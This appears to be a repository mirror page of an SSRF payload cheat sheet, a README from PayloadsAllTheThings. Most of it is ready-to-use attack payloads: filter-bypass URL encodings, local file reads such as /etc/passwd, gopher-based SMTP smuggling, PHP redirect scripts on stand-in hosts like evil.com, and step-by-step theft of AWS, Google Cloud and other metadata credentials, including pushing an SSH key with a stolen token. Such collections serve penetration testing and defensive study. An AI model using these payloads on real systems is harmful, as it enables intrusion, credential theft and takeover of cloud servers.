ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-21 03:46:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
52d02cea63
PayloadsAllTheThings/Server Side Request Forgery/README.md
Swissky 05b3e13098 SSRF for ECS
2019-10-12 13:30:52 +02:00

660 lines
22 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Server-Side Request Forgery
> Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.
## Summary
* [Tools](#tools)
* [Payloads with localhost](#payloads-with-localhost)
* [Bypassing filters](#bypassing-filters)
* [Bypass using HTTPS](#bypass-using-https)
* [Bypass localhost with [::]](#bypass-localhost-with----)
* [Bypass localhost with a domain redirection](#bypass-localhost-with-a-domain-redirection)
* [Bypass localhost with CIDR](#bypass-localhost-with-cidr)
* [Bypass using a decimal IP location](#bypass-using-a-decimal-ip-location)
* [Bypass using IPv6/IPv4 Address Embedding](#bypass-using-ipv6-ipv4-address-embedding)
* [Bypass using malformed urls](#bypass-using-malformed-urls)
* [Bypass using rare address](#bypass-using-rare-address)
* [Bypass using bash variables](#bypass-using-bash-variables)
* [Bypass using tricks combination](#bypass-using-tricks-combination)
* [Bypass using enclosed alphanumerics](#bypass-using-enclosed-alphanumerics)
* [Bypass filter_var() php function](#bypass-filter-var-php-function)
* [Bypass against a weak parser](#bypass-against-a-weak-parser)
* [SSRF exploitation via URL Scheme](#ssrf-exploitation-via-url-scheme)
* [file://](#file)
* [http://](#http)
* [dict://](#dict)
* [sftp://](#sftp)
* [tftp://](#tftp)
* [ldap://](#ldap)
* [gopher://](#gopher)
* [SSRF to XSS](#ssrf-to-xss)
* [SSRF URL for Cloud Instances](#ssrf-url-for-cloud-instances)
* [SSRF URL for AWS Bucket](#ssrf-url-for-aws-bucket)
* [SSRF URL for AWS ECS](#ssrf-url-for-aws-ecs)
* [SSRF URL for AWS Elastic Beanstalk](#ssrf-url-for-aws-elastic-beanstalk)
* [SSRF URL for AWS Lambda](#ssrf-url-for-aws-lambda)
* [SSRF URL for Google Cloud](#ssrf-url-for-google-cloud)
* [SSRF URL for Digital Ocean](#ssrf-url-for-digital-ocean)
* [SSRF URL for Packetcloud](#ssrf-url-for-packetcloud)
* [SSRF URL for Azure](#ssrf-url-for-azure)
* [SSRF URL for OpenStack/RackSpace](#ssrf-url-for-openstackrackspace)
* [SSRF URL for HP Helion](#ssrf-url-for-hp-helion)
* [SSRF URL for Oracle Cloud](#ssrf-url-for-oracle-cloud)
* [SSRF URL for Kubernetes ETCD](#ssrf-url-for-kubernetes-etcd)
* [SSRF URL for Alibaba](#ssrf-url-for-alibaba)
* [SSRF URL for Docker](#ssrf-url-for-docker)
* [SSRF URL for Rancher](#ssrf-url-for-rancher)
## Tools
- [SSRFmap - https://github.com/swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap)
- [Gopherus - https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus)
- [See-SURF - https://github.com/In3tinct/See-SURF](https://github.com/In3tinct/See-SURF)
## Payloads with localhost
Basic SSRF v1
```powershell
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
```
Basic SSRF - Alternative version
```powershell
http://localhost:80
http://localhost:443
http://localhost:22
```
Advanced exploit using a redirection
```powershell
1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com
2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
```
Advanced exploit using type=url
```powershell
Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF
```
## Bypassing filters
### Bypass using HTTPS
```powershell
https://127.0.0.1/
https://localhost/
```
### Bypass localhost with [::]
```powershell
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
```
```powershell
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid
```
### Bypass localhost with a domain redirection
```powershell
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
```
The service nip.io is awesome for that, it will convert any ip address as a dns.
```powershell
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
```
### Bypass localhost with CIDR
It's a /8
```powershell
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
```
### Bypass using a decimal IP location
```powershell
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
```
### Bypass using IPv6/IPv4 Address Embedding
[IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm)
```powershell
http://[0:0:0:0:0:ffff:127.0.0.1]
```
### Bypass using malformed urls
```powershell
localhost:+11211aaa
localhost:00011211aaaa
```
### Bypass using rare address
You can short-hand IP addresses by dropping the zeros
```powershell
http://0/
http://127.1
http://127.0.1
```
### Bypass using bash variables
(curl only)
```powershell
curl -v "http://evil$google.com"
$google = ""
```
### Bypass using tricks combination
```powershell
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
```
### Bypass using enclosed alphanumerics
[@EdOverflow](https://twitter.com/EdOverflow)
```powershell
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
### Bypass filter_var() php function
```powershell
0://evil.com:80;http://google.com:80/
```
### Bypass against a weak parser
by Orange Tsai ([Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf))
```powershell
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
```
![https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_Parser.png?raw=true](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.jpg?raw=true)
## SSRF exploitation via URL Scheme
### File
Allows an attacker to fetch the content of a file on the server
```powershell
file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd
```
### HTTP
Allows an attacker to fetch any content from the web, it can also be used to scan ports.
```powershell
ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443
```
![SSRF stream](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_stream.png?raw=true)
The following URL scheme can be used to probe the network
### Dict
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
```powershell
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
```
### SFTP
A network protocol used for secure file transfer over secure shell
```powershell
ssrf.php?url=sftp://evil.com:11111/
```
### TFTP
Trivial File Transfer Protocol, works over UDP
```powershell
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```
### LDAP
Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
```powershell
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```
### Gopher
```powershell
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH
You didn't say the magic word !
.
QUIT
```
#### Gopher HTTP
```powershell
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
```
#### Gopher SMTP - Back connect to 1337
```php
Content of evil.com/redirect.php:
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>
Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
#### Gopher SMTP - send a mail
```php
Content of evil.com/redirect.php:
<?php
$commands = array(
'HELO victim.com',
'MAIL FROM: <admin@victim.com>',
'RCPT To: <sxcurity@oou.us>',
'DATA',
'Subject: @sxcurity!',
'Corben was here, woot woot!',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://0:25/_'.$payload);
?>
```
## SSRF to XSS
by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
```bash
http://brutelogic.com.br/poc.svg -> simple alert
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
```
## SSRF URL for Cloud Instances
### SSRF URL for AWS Bucket
[Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories)
Interesting path to look for at `http://169.254.169.254`
```powershell
Always here : /latest/meta-data/{hostname,public-ipv4,...}
User data (startup script for auto-scaling) : /latest/user-data
Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
```
DNS record
```powershell
http://169.254.169.254
http://metadata.nicob.net/
http://169.254.169.254.xip.io/
http://1ynrnhl.xip.io/
http://www.owasp.org.1ynrnhl.xip.io/
```
HTTP redirect
```powershell
Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
```
Alternate IP encoding
```powershell
http://425.510.425.510/ Dotted decimal with overflow
http://2852039166/ Dotless decimal
http://7147006462/ Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
http://0xA9FEA9FE/ Dotless hexadecimal
http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
http://0251.0376.0251.0376/ Dotted octal
http://0251.00376.000251.0000376/ Dotted octal with padding
```
More urls to include
```powershell
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
```
E.g: Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance`
E.g2: Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`
### SSRF URL for AWS ECS
If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID.
```powershell
curl http://169.254.170.2/v2/credentials/<UUID>
```
This way you'll extract IAM keys of the attached role
### SSRF URL for AWS Elastic Beanstalk
We retrieve the `accountId` and `region` from the API.
```powershell
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
```powershell
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![notsosecureblog-awskey](https://www.notsosecure.com/wp-content/uploads/2019/02/aws-cli.jpg)
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
### SSRF URL for AWS Lambda
AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.
```powershell
http://localhost:9001/2018-06-01/runtime/invocation/next
$ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
```
Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next
### SSRF URL for Google Cloud
:warning: Google is shutting down support for usage of the **v1 metadata service** on January 15.
Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
```powershell
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
```
Google allows recursive pulls
```powershell
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
```
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
```powershell
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
Interesting files to pull out:
- SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`
- Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`
- Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`
#### Add an SSH key
Extract the token
```powershell
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Check the scope of the token
```powershell
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
{
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
Now push the SSH key.
```powershell
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
### SSRF URL for Digital Ocean
Documentation available at `https://developers.digitalocean.com/documentation/metadata/`
```powershell
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
All in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
### SSRF URL for Packetcloud
Documentation available at `https://metadata.packet.net/userdata`
### SSRF URL for Azure
Limited, maybe more exists? `https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`
```powershell
http://169.254.169.254/metadata/v1/maintenance
```
Update Apr 2017, Azure has more support; requires the header "Metadata: true" `https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`
```powershell
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
```
### SSRF URL for OpenStack/RackSpace
(header required? unknown)
```powershell
http://169.254.169.254/openstack
```
### SSRF URL for HP Helion
(header required? unknown)
```powershell
http://169.254.169.254/2009-04-04/meta-data/
```
### SSRF URL for Oracle Cloud
```powershell
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
```
### SSRF URL for Alibaba
```powershell
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
```
### SSRF URL for Kubernetes ETCD
Can contain API keys and internal ip and ports
```powershell
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
```
### SSRF URL for Docker
```powershell
http://127.0.0.1:2375/v1.24/containers/json
Simple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
```
### SSRF URL for Rancher
```powershell
curl http://rancher-metadata/<version>/<path>
```
More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/
## References
- [Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - 2017-12-13](https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/)
- [ESEA Server-Side Request Forgery and Querying AWS Meta Data](http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/) by Brett Buerhaus
- [SSRF and local file read in video to gif converter](https://hackerone.com/reports/115857)
- [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748)
- [SSRF in proxy.duckduckgo.com](https://hackerone.com/reports/358119)
- [Blind SSRF on errors.hackerone.net](https://hackerone.com/reports/374737)
- [SSRF on *shopifycloud.com](https://hackerone.com/reports/382612)
- [Hackerone - How To: Server-Side Request Forgery (SSRF)](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)
- [Awesome URL abuse for SSRF by @orange_8361 #BHUSA](https://twitter.com/albinowax/status/890725759861403648)
- [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
- [#HITBGSEC 2017 SG Conf D1 - A New Era Of SSRF - Exploiting Url Parsers - Orange Tsai](https://www.youtube.com/watch?v=D1S-G8rJrEk)
- [SSRF Tips - xl7dev](http://blog.safebuff.com/2016/07/03/SSRF-Tips/)
- [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748)
- [Les Server Side Request Forgery : Comment contourner un pare-feu - @Geluchat](https://www.dailysecurity.fr/server-side-request-forgery/)
- [AppSecEU15 Server side browsing considered harmful - @Agarri](http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
- [Enclosed alphanumerics - @EdOverflow](https://twitter.com/EdOverflow)
- [Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity](http://www.sxcurity.pro/2017/12/17/hackertarget/)
- [PHP SSRF @secjuice](https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51)
- [How I convert SSRF to xss in a ssrf vulnerable Jira](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
- [Piercing the Veil: Server Side Request Forgery to NIPRNet access](https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a)
- [Hacker101 SSRF](https://www.youtube.com/watch?v=66ni2BTIjS8)
- [SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例](https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/)
- [SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 - SaN ThosH - 10 Jan 2019](https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978)
- [SSRF Protocol Smuggling in Plaintext Credential Handlers : LDAP - @0xrst](https://www.silentrobots.com/blog/2019/02/06/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/)
- [X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG @quanyang](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/)
- [Exploiting SSRF in AWS Elastic Beanstalk - February 1, 2019 - @notsosecure](https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/)
- [PortSwigger - Web Security Academy Server-side request forgery (SSRF)](https://portswigger.net/web-security/ssrf)
- [SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - 12/06/2019](https://github.com/allanlw/svg-cheatsheet)
- [SSRF’s up! Real World Server-Side Request Forgery (SSRF) - shorebreaksecurity - 2019](https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/)
Reference in New Issue View Git Blame Copy Permalink